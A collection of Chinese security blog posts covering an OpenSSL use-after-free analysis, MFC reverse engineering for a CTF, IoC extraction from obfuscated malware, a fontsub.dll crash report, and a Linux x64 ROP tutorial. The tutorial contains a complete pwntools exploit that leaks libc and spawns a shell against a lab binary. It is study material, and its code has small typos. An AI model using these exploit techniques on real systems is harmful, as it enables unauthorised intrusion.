其中通过多次调试可以发现其实其数据来源于s->init_msg,而s->init_msg中的数据又来源于s->init_buf->data

s->init_msg = s->init_buf->data + n

对比调试

利用OpenSSL_1_1_0b对比一下

wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0b.tar.gz
tar -xvf OpenSSL_1_1_0b.tar.gz
cd openssl-OpenSSL_1_1_0b
./config --debug
make

下个断点

1548858352427

继续执行,会发现没有任何的问题,因为在grow_init_buf函数中及时更新了s->init_msg的值

static int grow_init_buf(SSL *s, size_t size) {

    size_t msg_offset = (char *)s->init_msg - s->init_buf->data;

    if (!BUF_MEM_grow_clean(s->init_buf, (int)size))
        return 0;

    if (size < msg_offset)
        return 0;

    s->init_msg = s->init_buf->data + msg_offset;

    return 1;
}

至此CVE-2016-6309具体形成UAF的原因也就分析清楚了

参考

一次因漏洞修补触发的漏洞—CVE-2016-6309漏洞详细分析

openssl fix UAF

openssl

看雪腾讯ctf第五题(待完善)

writeup大纲

  1. GetMessageMap函数寻找
  2. int 2d处理 seh exception handler
  3. 大整数结构体
  4. 大整数之间的进制转换
  5. 矩阵转换 相乘 魔方转化 矩阵是不是也可以使用结构体 看到了有使用结构体解决
  6. ecc椭圆曲线加密算法
  7. 得到答案

GetMessageMap处理函数寻找

通过MessageBox寻找

通过od2 设置MessageBox断点,断下来后,我们来看调用栈(这里比较了od1,od2,x32dbg,最终还是od2显示的效果最好!)

之后跟进每一个函数查看函数大致功能,因为真正的处理函数距离MessageBox不会太远

函数40B1A2

可以看到该函数中MessageBox所有的参数都已经确定了,再往前翻
函数40B71C

可以发现失败这一状态,在这个函数前已经确认了,再往前翻:
函数4071FD

可以发现,真正的确认状态的函数就是4071FD,成功找到MessageMap处理函数

通过od1 字符串智能搜索

直接搜到处理函数

通过查找GetMessageMap函数

介绍该方法时,首先要了解两方面的知识:

  1. c++的虚函数表相关知识
  2. MFC消息处理机制

c++ 虚函数表相关知识

c++普遍使用类,虚拟类派生的类都会维护一个虚函数表vtable,并且编译器在编译时会将虚函数表插入到生成的二进制文件中,而且一般存在rodata区块中。该类的每一个实例(对象)会维护一个vptr,即指向虚函数表的指针。大概的空间布局是这样的

类中数据布局
vptr虚表指针
基类数据
类成员

MFC消息处理机制

首先,我们先对MFC的消息映射做一个简单介绍。MFC为了实现消息映射在响应消息的类内部自动做了如下两方面的处理:

a、消息映射声明和实现
在类的定义(头文件)里,添加声明消息映射的宏DECLARE_MESSAGE_MAP,在类的实现(源文件)里,通过BEGIN_MESSAGE_MAP和END_MESSAGE_MAP()实现消息映射。
b、消息响应函数的声明和实现

当通过ClassWizard添加消息响应函数时就会自动添加函数的声明和实现,代码如下:
声明:

//{{AFX_MSG  
afx_msg void OnTimer(UINT nIDEvent);  
afx_msg void OnPaint();  
//}}AFX_MSG  
DECLARE_MESSAGE_MAP()

映射:

BEGIN_MESSAGE_MAP(CTestDialog, CDialog)  
//{{AFX_MSG_MAP(CTestDialog)  
ON_WM_TIMER()  
ON_WM_PAINT()  
//}}AFX_MSG_MAP  
END_MESSAGE_MAP()

实现:

void CTestDialog::OnPaint()   
{  
}    
void CTestDialog::OnTimer(UINT nIDEvent)   
{     
    CDialog::OnTimer(nIDEvent);  
}
void CTestDialog::OnPaint()   
{  
}    
void CTestDialog::OnTimer(UINT nIDEvent)   
{     
    CDialog::OnTimer(nIDEvent);  
}

简单点说就是MFC的类在声明时会调用DECLARE_MESSAGE_MAP()声明消息映射,在生成对象后会映射AFX_MSG_MAP

MFC源码大概是这样的

class CreverseApp : public CWinApp
{
public:
	CreverseApp();
// Overrides
public:
	virtual BOOL InitInstance();
// Implementation
	DECLARE_MESSAGE_MAP()
};
BEGIN_MESSAGE_MAP(CreverseApp, CWinApp)
	ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()

// CreverseApp construction
CreverseApp::CreverseApp()
{
	// support Restart Manager
	m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;

	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

// The one and only CreverseApp object

CreverseApp theApp;

MFC就是靠这样的机制来处理程序的整个消息的,现在需要理清的就是消息和消息处理函数的映射,其中涉及到主要的两个结构体:

struct AFX_MSGMAP  
{  
    const AFX_MSGMAP* (PASCAL* pfnGetBaseMap)(); // 基类消息映射入口地址  
    const AFX_MSGMAP_ENTRY* lpEntries;           // 当前类消息映射入口地址  
};

struct AFX_MSGMAP_ENTRY  
{  
    UINT nMessage;   // windows message  
    UINT nCode;      // control code or WM_NOTIFY code  
    UINT nID;        // control ID (or 0 for windows messages)  
    UINT nLastID;    // used for entries specifying a range of control id's  
    UINT_PTR nSig;   // signature type (action) or pointer to message #  
    AFX_PMSG pfn;    // routine to call (or special value)  
};

其中AFX_MSGMAPGetMessageMap函数获取,其最后一个成员直接指向映射关系数组。GetMessagemap函数是个虚函数,每个实现的类的虚函数表都有该函数,我们需要找到对应的窗口类或是对话框类的GetMessageMap函数。而最终的目标就是找到这个映射关系数组,好方便找到对应的消息处理函数

ida中实践寻找映射关系

首先找到MFC开始函数,大概是这样的

.text:00401CBB                 public start
.text:00401CBB                 call    ___security_init_cookie
.text:00401CC0                 jmp     ___tmainCRTStartup

.text:004019FB ___tmainCRTStartup proc near            ; CODE XREF: start+5j
.text:004019FB
.text:004019FB                 push    5Ch
.text:004019FD                 push    offset unk_403DD8
.text:00401A02                 call    __SEH_prolog4
;... other initialization code
.text:00401B3E                 push    ecx             ; nShowCmd
.text:00401B3F                 push    eax             ; lpCmdLine
.text:00401B40                 push    ebx             ; hPrevInstance
.text:00401B41                 push    400000h         ; hInstance
.text:00401B46                 call    _wWinMain@16    ; wWinMain(x,x,x,x)

; int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
_wWinMain@16 proc near
        jmp     ?AfxWinMain@@YGHPAUHINSTANCE__@@0PA_WH@Z ; AfxWinMain(HINSTANCE__ *,HINSTANCE__ *,wchar_t *,int)
_wWinMain@16 endp

再来看看AfxWinMain的源代码

int AFXAPI AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
        _In_ LPTSTR lpCmdLine, int nCmdShow)
{
        ASSERT(hPrevInstance == NULL);

        int nReturnCode = -1;
        CWinThread* pThread = AfxGetThread();
        CWinApp* pApp = AfxGetApp();

        // AFX internal initialization
        if (!AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nCmdShow))
                goto InitFailure;

        // App global initializations (rare)
        if (pApp != NULL && !pApp->InitApplication())
                goto InitFailure;

        // Perform specific initializations
        if (!pThread->InitInstance())
        {
                if (pThread->m_pMainWnd != NULL)
                {
                        TRACE(traceAppMsg, 0, "Warning: Destroying non-NULL m_pMainWnd\n");
                        pThread->m_pMainWnd->DestroyWindow();
                }
                nReturnCode = pThread->ExitInstance();
                goto InitFailure;
        }
        nReturnCode = pThread->Run();

InitFailure:
        AfxWinTerm();
        return nReturnCode;
}

不同版本的MFC可能会有所区别,但是整体的结构基本不会变,再来对比一下第五题的反汇编代码

; int __stdcall AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
.text:00440E44 _wWinMain@16    proc near               ; CODE XREF: ___tmainCRTStartup+115↑p
.text:00440E44
.text:00440E44 hInstance       = dword ptr  8
.text:00440E44 hPrevInstance   = dword ptr  0Ch
.text:00440E44 lpCmdLine       = dword ptr  10h
.text:00440E44 nShowCmd        = dword ptr  14h
.text:00440E44
.text:00440E44 ; FUNCTION CHUNK AT .text:00417073 SIZE 00000020 BYTES
.text:00440E44
.text:00440E44                 mov     edi, edi
.text:00440E46                 push    ebp
.text:00440E47                 mov     ebp, esp
.text:00440E49                 pop     ebp
.text:00440E4A                 jmp     loc_440E62
.text:00440E4F ; ---------------------------------------------------------------------------
.text:00440E4F
.text:00440E4F ; void __cdecl loc_440E4F()
.text:00440E4F loc_440E4F:                             ; DATA XREF: sub_443CAE+5↓o
.text:00440E4F                 push    1
.text:00440E51                 push    0
.text:00440E53                 call    sub_417001
.text:00440E58                 call    sub_417806
.text:00440E5D                 jmp     loc_417073
.text:00440E62 ; ---------------------------------------------------------------------------
.text:00440E62
.text:00440E62 loc_440E62:                             ; CODE XREF: wWinMain(x,x,x,x)+6↑j
.text:00440E62                 mov     edi, edi
.text:00440E64                 push    ebp
.text:00440E65                 mov     ebp, esp
.text:00440E67                 push    ebx
.text:00440E68                 push    esi
.text:00440E69                 push    edi
.text:00440E6A                 or      ebx, 0FFFFFFFFh
.text:00440E6D                 call    AfxGetModuleThreadState
.text:00440E72                 mov     esi, eax        ; pthread
.text:00440E74                 call    AfxGetModuleState
.text:00440E79                 push    [ebp+nShowCmd]
.text:00440E7C                 mov     edi, [eax+4]
.text:00440E7F                 push    [ebp+lpCmdLine]
.text:00440E82                 push    [ebp+hPrevInstance]
.text:00440E85                 push    [ebp+hInstance]
.text:00440E88                 call    AfxWinInit
.text:00440E8D                 test    eax, eax
.text:00440E8F                 jz      short loc_440ECD
.text:00440E91                 test    edi, edi
.text:00440E93                 jz      short loc_440EA3
.text:00440E95                 mov     eax, [edi]
.text:00440E97                 mov     ecx, edi // edi存储CXXApp对象指针,this
.text:00440E99                 call    dword ptr [eax+0ACh] ; pApp->InitApplication
.text:00440E9F                 test    eax, eax
.text:00440EA1                 jz      short loc_440ECD
.text:00440EA3
.text:00440EA3 loc_440EA3:                             ; CODE XREF: wWinMain(x,x,x,x)+4F↑j
.text:00440EA3                 mov     eax, [esi]
.text:00440EA5                 mov     ecx, esi
.text:00440EA7                 call    dword ptr [eax+50h] ; pThread->InitInstance
.text:00440EAA                 test    eax, eax
.text:00440EAC                 jnz     short loc_440EC4
.text:00440EAE                 cmp     [esi+20h], eax  .text:00440EB1                 jz      short loc_440EBB
.text:00440EB3                 mov     ecx, [esi+20h]
.text:00440EB6                 mov     eax, [ecx]
.text:00440EB8                 call    dword ptr [eax+60h]
.text:00440EBB
.text:00440EBB loc_440EBB:                             ; CODE XREF: wWinMain(x,x,x,x)+6D↑j
.text:00440EBB                 mov     eax, [esi]
.text:00440EBD                 mov     ecx, esi
.text:00440EBF                 call    dword ptr [eax+68h]
.text:00440EC2                 jmp     short loc_440ECB
.text:00440EC4 ; ---------------------------------------------------------------------------
.text:00440EC4
.text:00440EC4 loc_440EC4:                             ; CODE XREF: wWinMain(x,x,x,x)+68↑j
.text:00440EC4                 mov     eax, [esi]
.text:00440EC6                 mov     ecx, esi
.text:00440EC8                 call    dword ptr [eax+54h]
.text:00440ECB
.text:00440ECB loc_440ECB:                             ; CODE XREF: wWinMain(x,x,x,x)+7E↑j
.text:00440ECB                 mov     ebx, eax
.text:00440ECD
.text:00440ECD loc_440ECD:                             ; CODE XREF: wWinMain(x,x,x,x)+4B↑j
.text:00440ECD                                         ; wWinMain(x,x,x,x)+5D↑j
.text:00440ECD                 call    sub_41776C
.text:00440ED2                 pop     edi
.text:00440ED3                 pop     esi
.text:00440ED4                 mov     eax, ebx
.text:00440ED6                 pop     ebx
.text:00440ED7                 pop     ebp
.text:00440ED8                 retn    10h
.text:00440ED8 _AfxWinMain@16    endp ;

这里的InitInstance很重要,其中有CXXDialog的指针,顺着这个指针,我们能够找到第五题中涉及到的窗口处理类的虚函数表

可以先大概看一下InitInstanceMFC中的源码

start -> winmain -> AfxWinMain -> CXXAPP -> CXXDialog

int 2d处理函数寻找

参考

逆向C++虚函数(一)
逆向C++虚函数(二)
MFC 消息映射机制详解

记录一次恶心混淆之静态配置解密的处理

记录一次恶心混淆之静态配置解密的处理

分析

本人是做静态配置解密(自动化静态扫描文件并将其中的IoC提取出来)的,日常遇到有混淆的恶意代码家族很正常。但是碰到这么恶心的还是第一次,所以记录一下,方便以后再次遇到,好参照解决。

样本md5:
3103007484cb5935efcd0d8abf28251e
5142f81d00403a33c3eb9f71290c2bf6

vt主要将该类识别为

palevo
zusy
Fosniw

我是把它划分到palevo家族,但是这个不重要,今天最重要的是利用c++从这些混淆中成功提取出IoC信息
首先来看它到底有多么恶心

1558527730036

如果直接F5,会卡很长时间

1558527777755

之后的伪码

1558527804452

因为这个家族我做静态分析,分析了很多个版本,即使这样混淆,我依然能够很快定位到其中使用的解密函数

真正的解密逻辑在这里

1558527916782

其属于这个函数

1558527962453

同样是加了非常多的printf做混淆,因为我分析过,并且知道解密函数具体操作,所以很容易能够通过人力定位到,但是要想完成静态自动化的配置解密的话,其实很困难。

解决

因为在个人有限的经验里,静态配置解密定位到解密函数,并且定位到加密数据位置,主要有以下几种方法

  1. 数据/解密函数位置,存在固定偏移

    这类最好解决,我们需要做的就是人工找到位置,之后将解密算法逆出来,静态配置解密也就完成了

  2. 数据/解密函数前后存在特定数据

    这类主要就是使用正则表达式,匹配到特定数据,之后通过一定的偏移找到需要定位的数据

  3. 加密数据本身存在明显的特征情况,比如说一定的数据结构

    这类直接定义出该结构,之后扫数据结构就行

  4. 定位解密函数自身行为特征(比如opcode/反汇编指令等)

    这类的一般要求比上面的几种的都要严格,很容易出错或者出偏差,代码的话要做好充足的异常处理,而且一旦有各种混淆,而且混淆格式不同的,基本就gg了

  5. 无论解密函数还是加密数据都没有办法定位

    这类的,我如果遇到了基本上就只能写个yara做一下识别,后来的配置解密模块就不写了

这个只是我个人的纯粹工作经验总结,可能不对,或者对别人不适用

今天遇到这个我就把它划到了第5类,开始我都打算放弃了,但是后来细想了一下,这个家族和一般的家族有个相对比较明显的特征,

该家族的该类变种几乎所有使用的数据都使用了相同的加密算法加密,而且数据众多,结果导致的就是该解密函数必然会被反复调用

我们来粗略看一下

1558529381162

分析的这个样本3103007484cb5935efcd0d8abf28251e,该解密函数足足被调用了179次,正常情况下是肯定不会的,现在我们来将通过聚类处理的样本,做一下扫描,之后排序输出,看看哪些函数会被多次调用

首先看一下寻找xref的实现

/*
 * 自定义简单字典
 * string:           存储call指令
 * vector<uint32_t>: 存储第一个参数
 */
typedef std::map<std::string, std::vector<uint32_t>> xref_dictionary_t;

/* 
 * 获取所有至少有一个参数的函数引用
 * buffer:     需要反汇编的数据
 * buffer_size:反汇编数据长度
 * xrefs:      所有函数引用的字典
*/
static long func_get_xrefs_with_args(uint8_t *buffer, uint32_t buffer_size, xref_dictionary_t &xrefs)
{
    long                ret = 0;
    ud                  ud_obj;
    std::string         last_assembly_code;
    std::string         current_assembly_code;
    std::string         call_opcode;
    const ud_operand_t* last_op = NULL; 
    uint32_t            last_op_lval_udword = 0;

    if (buffer == NULL || buffer_size == 0)
        RC_FINISH(-1);

    // 反汇编操作
    ud_init(&ud_obj);
	ud_set_mode(&ud_obj, 32);
	ud_set_input_buffer(&ud_obj, buffer, buffer_size);
	ud_set_syntax(&ud_obj, UD_SYN_INTEL);
    ud_disassemble(&ud_obj);

    last_assembly_code = std::string(ud_insn_asm(&ud_obj), strlen(ud_insn_asm(&ud_obj)));
    last_op = (ud_operand_t*)ud_insn_opr(&ud_obj, 0);

	while (ud_disassemble(&ud_obj))
	{
        current_assembly_code = std::string(ud_insn_asm(&ud_obj), strlen(ud_insn_asm(&ud_obj)));
        if (current_assembly_code.find("call") != std::string::npos && 
            last_assembly_code.find("push") != std::string::npos)
        {
            xref_dictionary_t::iterator it;
            it = xrefs.find(current_assembly_code);
            // 已经存在
            if (it != xrefs.end())
                it->second.push_back(last_op_lval_udword);
            else 
            {
                // 第一次出现
                std::vector<uint32_t> tmp_cout_vec;
                tmp_cout_vec.push_back(last_op_lval_udword);
                xrefs[current_assembly_code]=tmp_cout_vec;
            }
        }
        last_assembly_code = current_assembly_code;
        // last_op 会随着指针变化,没法取到上一个值,直接取值
        last_op = ud_insn_opr(&ud_obj, 0);
        if (last_op)
            last_op_lval_udword = last_op->lval.udword;
	}

finish:
    return ret;
}

得到了函数调用次数后,输出看一下

 // xrefs排序
std::vector<xref_pair_t> xref_vec(xrefs.begin(), xrefs.end());
sort(xref_vec.begin(), xref_vec.end(), compare_by_second_size);
for (auto it=xref_vec.begin(); it!= xref_vec.end(); it++)
{
    std::cout << "function: " << it->first ;
    std::cout << "\tcount:" << it->second.size() << std::endl;
}

结果大概是这样的

1558537542650

通过分析该聚类样本可以发现函数被调用最多的,除了用于混淆的printf,之后便是解密函数,并且可以肯定是在[160-200]的范围,所以提取IoC的的信息代码

static long func_extract(void *handle)
{
    long                        ret = 0;
    PALEVO_C_HANDLE*            _handle = NULL; 
    xref_dictionary_t           xrefs;
    
    if (handle == NULL)
        RC_FINISH(-1);

    _handle = (PALEVO_C_HANDLE*)handle;
    if (0 == func_get_xrefs_with_args(_handle->buffer, _handle->size, xrefs))
    {
        xref_dictionary_t::iterator it_xrefs;
        for (it_xrefs=xrefs.begin(); it_xrefs != xrefs.end(); it_xrefs++)
        {
            if (it_xrefs->second.size() >= 160 && it_xrefs->second.size() <= 200)
            for (std::vector<uint32_t>::iterator it_count=it_xrefs->second.begin(); it_count != it_xrefs->second.end(); it_count++)
            {
                // 数据一般使用全局变量存储
                if (*it_count > 0x40000)
                {
                    uint32_t raw_data_address = func_get_raw_address(_handle->pe_handle, *it_count);
                    std::vector<uint32_t> encode_data;
                    // 取得所有加密数据
                    if (0 == func_get_encode_data(_handle->buffer, _handle->size, raw_data_address, encode_data))
                    {
                        std::string decode_string = func_decode_string_v1(encode_data);
                        // 只过滤http
                        if (decode_string.find("http://") != std::string::npos && decode_string.size() > 7)
                        {
                            std::cout << "domain: "<< decode_string << std::endl;
                            _handle->domains.push_back(decode_string);
                        }
                        encode_data.clear();
                    }
                }
            }
        }
        goto finish;
    }
    
    ret = FINAL_CODE;

finish:
    return ret;
}

结果大概是这样的

1558538118326

总结

这个是个人针对特定家族的一种提取ioc的方法,不具有普适作用,但是如果真是遇到静态配置解密一筹莫展时,并且很有可能在函数调用数量上有一定规则的话,不妨考虑使用该方法。至少目前我能够想到的就这一种方法

Linux x64 pwn 学习

Linux x64 pwn 学习

新手学习了x86的下的相关pwn,进而学习一下x64环境下的pwn,个人感觉还是很有必要的,完全个人学习,中间遇到很多的各种坑,这里只是简单记录一下

环境

Linux bins-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
pwntools
gef

用到的level.c

include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
	write(1, "Hello, World\n", 13);
	vulnerable_function();
}

生成可执行文件

gcc -fno-stack-protector -o level5 level.c

生成的文件

~ file level5
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=57fe0599820f34f5a59a994a24dfbf28e5e82cf5, not stripped

checksec

gef>  checksec
[+] checksec for '/root/level5'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

构建gadgets

使用的exp

rom pwn import *
import sys
import os
import time

context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']

class Pwn(object):
    def __init__(self, binary_file=None):
        if binary_file:
            self.binary_file = binary_file
            self.elf = ELF(binary_file)
            self.libc = self.elf.libc
            self.write_plt = self.elf.symbols['write']
            self.write_got = self.elf.got['write']
            self.vul_addr = 0x400566
            self.main = 0x400587

    def get_overflow_position(self):
        io = process(self.binary_file)
        io.recvline()
        io.send(cyclic(150))
        io.recvall()

        if os.path.isfile('./core'):
            core = Core('./core')
            if context.arch == 'amd64':
                self.rip = cyclic_find(core.u32(core.rsp))
            if context.arch == 'i386':
                self.eip = cyclic_find(core.u32(core.eip))
    
    def leak(self):
        pass

    def get_write_got(self):
        """
        stack:
        +----------+
        |  pop_ret |
        +----------+
        |   rbx    | <== 0
        +----------+
        |   rbp    | <== 1
        +----------+
        |   r12    | <== write_got
        +----------+
        |   r13    | <== rdx/arg2
        +----------+
        |   r14    | <== rsi/arg1
        +----------+
        |   r15    | <== rdi/arg0
        +----------+
        """

        self.io = process(self.binary_file)
        self.io.recvline()
        # gdb.attach(self.io, 'b vulnerable_function')

        pop_mul_ret = 0x40061a
        call_addr = 0x400600
        payload1 = 'a' * self.rip
        payload1 += p64(pop_mul_ret) + p64(0) + p64(1) + p64(self.write_got)
        payload1 += p64(8) + p64(self.write_got) + p64(1)
        payload1 += p64(call_addr)
        payload1 += 'a' * 56
        payload1 += p64(self.main)
        self.io.send(payload1)

        self.write_got_addr = self.io.recvn(8)
        print 'Final Recive Data:', self.write_got_addr
        print 'write_got_addr:', hex(u64(self.write_got_addr))

        self.libc.address = u64(self.write_got_addr) - self.libc.symbols['write']
        print 'lib.address:', hex(self.libc.address)


    def get_shell(self):
        """
        stack:
        +-------------+
        | pop_rdi_ret |
        +-------------+
        |    bin_sh   |
        +-------------+
        | system_addr |
        +-------------+
        """
        system_addr = self.libc.symbols['system']
        bin_sh = self.libc.search('sh\x00').next()

        pop_rdi_ret = 0x400623
        payload2 = 'a' * self.rip
        payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) 
        self.io.send(payload2)
        self.io.interactive()


def main():
    pwn = Pwn('./level5')
    pwn.get_overflow_position()
    pwn.get_write_got()
    pwn.get_shell()


if __name__ == "__main__":
    main()

我的exp是自己的环境和调试的结果,这个和蒸米的有很多的不同,因为用他的payload即使变了自己的地址,也没法使用

结果

1558079468858

这里重点说一下payloadpayload2的构建

payload1构建

正常我是使用ROP模块自动构建的,但是这里由于程序比较小,找不到write写之后平衡栈的汇编代码块,只能自己一步一步构建,这里使用蒸米所说的通用gadgets

函数__libc_csu_init

1558079834515

首先执行1,更改rbx r12 r13 r14 r15,栈类似于这样

 +----------+
 |  pop_ret |
 +----------+
 |   rbx    | <== 0
 +----------+
 |   rbp    | <== 1
 +----------+
 |   r12    | <== write_got
 +----------+
 |   r13    | <== rdx/arg2
 +----------+
 |   r14    | <== rsi/arg1
 +----------+
 |   r15    | <== rdi/arg0
 +----------+

之后通过指令跳转到1执行,执行完1弹出main

payload2构建

通过payload1我们得到了write_got_addr,进而可以得到libc.address,之后再跳转即可执行system('/bin/sh')

其实可以更加简单,直接都利用ROP模块完成

def get_shell(self):    
    bin_sh = self.libc.search('sh\x00').next()
    rop = ROP(self.libc)
    rop.system(bin_sh)
    self.io.send(fit({self.rip: rop.chain()}))
    self.io.interactive()

总结

碰到了很多坑

  1. gdb.attach很有可能会遇到各种失败或者错误,导致无法调试,个人目前的经验主要是由于payload构建不正确,比如数据不够长啊,格式错误等等
  2. 注意和程序的交互,如果完全不考虑交互很容易产生各种不明所以的问题

参考

蒸米:一步一步学ROP之linux_x64篇

Microsoft Font Subsetting DLL heap-based out-of-bounds read in CreateFontPackage(in fontsub!GetGlyphIdx)

Microsoft Font Subsetting DLL heap-based out-of-bounds read in CreateFontPackage(in fontsub!GetGlyphIdx)

前段时间fuzz出来的,被PJ0大神撞了,大神被赋予的CVE编号:CVE-2019-1148

Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.

I tested on sytem

windows 10 professional
v1903 x64 bit
fontsub.dll version: 10.0.18362.239

fontsub background

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. I have tested CreateFontPackage with a fuzzer.

Please reproduce with page heap disabled.

crash

run with a specific ttf file, then crash

0:000> g
ModLoad: 00007ffe`d90d0000 00007ffe`d916e000   C:\WINDOWS\System32\msvcrt.dll
ModLoad: 00007ffe`d2eb0000 00007ffe`d2ed2000   C:\WINDOWS\system32\fontsub.dll
(39c.32e8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 6D7:0
fontsub!GetGlyphIdx+0x97:
00007ffe`d2ebc5d3 0fb70447        movzx   eax,word ptr [rdi+rax*2] ds:0000019c`f43ffffa=????
0:000> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffe`d2ec397c : 0000019c`f4591470 00000090`d99ef8a0 0000019c`f4595bd0 00000000`00000005 : fontsub!GetGlyphIdx+0x97
01 00007ffe`d2eb712c : 0000019c`f4591460 0000019c`f4591460 ffffffff`ffffffff 00000090`d99efa78 : fontsub!MakeKeepGlyphList+0x478
02 00007ffe`d2eb6f89 : 0000019c`f4591460 00000090`d99efc41 00000000`00000001 00000000`00000001 : fontsub!CreateDeltaTTFEx+0x168
03 00007ffe`d2eb13fa : 00000000`00000000 00000000`00000000 00004f9e`ffa0166d 00000000`00000000 : fontsub!CreateDeltaTTF+0x2c9
04 00007ff7`804811a2 : 00000000`00000000 00000000`00000000 0000019c`f3fc5710 0000019c`f3fc0d00 : fontsub!CreateFontPackage+0x15a
05 00007ff7`804812d4 : 00000000`00000002 9c000000`00000000 00000000`00000000 00007ff7`80481bad : FuzzCreateFontPackage!JustTestCreate+0x1a2

crash in fontsub!GetGlyphIdx

crash analysis

check

0:000> ? rdi
Evaluate expression: 1773624361088 = 0000019c`f4400080
0:000> ? rax*2
Evaluate expression: -134 = ffffffff`ffffff7a
0:000> dd rdi+rax*2
0000019c`f43ffffa  ???????? ???????? 00000000 71720000
0000019c`f440000a  8438c4db ffee0101 0002ffee 01200000
0000019c`f440001a  019cf459 00180000 019cf459 00000000
0000019c`f440002a  019cf459 00000000 019cf440 00ff0000
0000019c`f440003a  00000000 00700000 019cf440 f0000000
0000019c`f440004a  019cf44f 00dd0000 00010000 00000000
0000019c`f440005a  00000000 1fe00000 019cf442 1fe00000
0000019c`f440006a  019cf442 00000000 00000000 51740000

rdi+rax+2 is ???????? ????????

what cause this?

0:000> !heap -h
Failed to read heap keySEGMENT HEAP ERROR: failed to initialize the extention
Index   Address  Name      Debugging options enabled
  1:   19cf3fb0000 
    Segment at 0000019cf3fb0000 to 0000019cf40af000 (00089000 bytes committed)
  2:   19cf3f20000 
    Segment at 0000019cf3f20000 to 0000019cf3f30000 (00001000 bytes committed)
  3:   19cf4590000 
    Segment at 0000019cf4590000 to 0000019cf459f000 (00007000 bytes committed)
    Segment at 0000019cf4400000 to 0000019cf44ff000 (00022000 bytes committed)
0:000> !heap -p -a rdi
    address 0000019cf4400080 found in
    _HEAP @ 19cf4590000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        0000019cf4400070 2001 0000  [00]   0000019cf4400080    1fffe - (busy)

 
0:000> ? rdi+rax*2
Evaluate expression: 1773624360954 = 0000019c`f43ffffa

so rdi+rax*2 read out of bound.

fix

how to fix?

0007ffe`d2ebc5b9 410fb74006      movzx   eax, word ptr [r8+6]
00007ffe`d2ebc5be d1e8           shr     eax, 1
00007ffe`d2ebc5c0 03c8           add     ecx, eax
00007ffe`d2ebc5c2 0fb7c3         movzx   eax, bx
00007ffe`d2ebc5c5 03c8           add     ecx, eax
00007ffe`d2ebc5c7 0fb7442470     movzx   eax, word ptr [rsp+70h]
00007ffe`d2ebc5cc 3bc8           cmp     ecx, eax
00007ffe`d2ebc5ce 7d13           jge     fontsub!GetGlyphIdx+0xa7 (00007ffe`d2ebc5e3)
00007ffe`d2ebc5d0 4863c1         movsxd  rax, ecx
00007ffe`d2ebc5d3 0fb70447       movzx   eax, word ptr [rdi+rax*2] ds:0000019c`f43ffffa=????

r8 from call cs:__imp_bsearch, then r8+6 move to eax, eax do some calculation

eax compare with ecx, code check its high limit, but code does not check low limit.

00007ffe`d2ebc5cc 3bc8           cmp     ecx, eax

so code should check eax low limit, because you can not be sure eax always is positive.

using a specific ttf file, it may cause some information disclosure.

GetMessageMap寻找(待完善)

bp CallWindowProcA  [esp+8]==0x7068c&& [esp+0c]==202
用MFC句柄定位工具定位下按钮处理ID

AFX_MSGMAP_ENTRY AFX_MSGMAP

GetMessageMap

CReverseMFCDlg类继承自CDialog<-CWnd<-CCmdtarget;
CReverseMFC类继承自CWinApp<-CWinthread<-CCmdtarget

int AFXAPI AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                      _In_ LPTSTR lpCmdLine, int nCmdShow)
{
    ASSERT(hPrevInstance == NULL);
    int nReturnCode = -1;
    CWinThread *pThread = AfxGetThread();
    CWinApp *pApp = AfxGetApp();
    // AFX internal initialization
    if (!AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nCmdShow))
        goto InitFailure;
    // App global initializations (rare)
    if (pApp != NULL && !pApp->InitApplication())
        goto InitFailure;
    // Perform specific initializations
    if (!pThread->InitInstance())
    {
        if (pThread->m_pMainWnd != NULL)
        {
            TRACE(traceAppMsg, 0, "Warning: Destroying non-NULL m_pMainWnd\n");
            pThread->m_pMainWnd->DestroyWindow();
        }
        nReturnCode = pThread->ExitInstance();
        goto InitFailure;
    }
    nReturnCode = pThread->Run();
InitFailure:
    AfxWinTerm();
    return nReturnCode;
}
struct AFX_MSGMAP{ //消息地图节点结构体
UINT (*pfnGetBaseMap)();//指向另外一个消息地图节点
UINT lpEntries;//指向消息结构体数组
};

struct AFX_MSGMAP_ENTRY{//消息结构体
UINT nMessage; //Windows消息ID
UINT nCode;//控制消息的通知码
UINT nID;//Windows控件ID
UINT nLastID;//如果是一定范围的消息被映射,则nLastID指定其范围
UINT nSig;//消息的动作标识
void  (*pfn)();//消息的处理函数
};

一个按钮点击事件的过程如下:

CWinThread::PumpMessage -> CWnd::PretranslateMessage -> 
CWnd::WWalkPreTranslateMessate  -> CD1Dlg::PreTranslateMessage -> 
CDialog::PreTranslateMessage ->  CWnd::PreTranslateInput  -> 
